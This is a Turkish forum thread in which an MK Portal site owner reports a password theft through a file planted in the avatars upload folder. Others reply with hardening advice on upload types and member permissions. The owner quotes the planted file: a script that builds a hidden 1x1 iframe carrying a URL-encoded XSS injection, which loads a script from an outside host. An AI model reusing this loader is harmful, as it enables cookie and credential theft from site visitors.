MK Portalima birisi yahoo sifre calici yerlestirmis

[Dilek]

Selamlar, dun email adresimin sifresinin calindigini fark ettim. Sonra baska mail hesabima calinan hesabimdan mail aldim ve su linke tiklamam soylendi  http://www.nuryagmuru.com/forum/avatars/index.htm

oraya belli ki hacklik bir sey koymuslar. lutfen yardimci olurmusunuz.

[Dilek]

Simdi bir seyler tahmin edebiliyorum. sanirim bu kisi avatar yerinden index dosyasini yuklemis. peki avatar yuklemeyi nasil off yapacagim?

[Dilek]

o dosyada su yaziyor

<script>document.write('<iframe name="I1" src="http://pg.photos.yahoo.com/ph/page?.file=calendar_splash.html&.dir=%22%3E%3C%53%43%52%49%50%54%20%53%52%43%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%74%6F%70%72%61%71%2E%69%6E%66%6F%2F%70%6F%72%74%61%6C%2F%63%2E%6A%73%3E%3C%2F%53%43%52%49%50%54%3E" height="1" width="1" border="0" frameborder="0" marginwidth="1" marginheight="1" style="position: absolute; left: 0; top: 0"> hi</iframe>')

window.status="  "

</script>

[Dilek]

ok adminden dosya eki ve avatar dan gerekli ayarlamalari yaptim.
Sizde yapin kardeslerim, bence yuklemeye txt ve doc lara izin vermeyin. rar, gif, jpg   yeter gibi geliyor bana. gerci ben simdilik hepsini off yaptim.

[AdmiN]

1- Siteye yeni üye olan üyelerin yapabilecekleri işlemleri kısıtlamak gerekiyor.
        -avatar yükleme
        -özel başlığını değiştirme (buraya kod eklenip siteye zarar verilebilir)
        - Kısıtlı özel mesaj sayısı  vs.

2- Yükleme ayarlarındaki yüklenebilecek dosya türlerini kontrol etmek gerekiyor.Burada asp, php gibi dosya uzantılarına izin vermemek gerekiyor.
3- Üye gruplarının yetkilerini iyi ayarlamak gerekiyor.Mesaj sayısı arttıkça kullanıcının yapabilecekleri de artabilir gibi.


Ayrıca yukardaki kod yahoo mail çalma koduna değil de, Yahoo dan resim çağırmaya benziyor.Tabi kötü amaçlı biri o resmin içine xss kodu ekleyip cokie çalmaya çalışabilir.

[casama]

aslinda bence bosa kafa yoruyorsun php nin zaten en buyuk dusmani hack nedense hackerlar php sitelerine saldirmayi tercih ediyorlar nedendir dersin

[ultraceran]

üyeleri istediğimiz yetkiye ve istediğimiz rütbe ekleme ve rütbeye göre yetkileri hangi asp codundan ayarlamamız lazım Üye Seviyesini istediğim gibi yetkileri değiştirip istediğim şekilde rütbe vermeyi nasıl ayarlamam gerekiyor acaba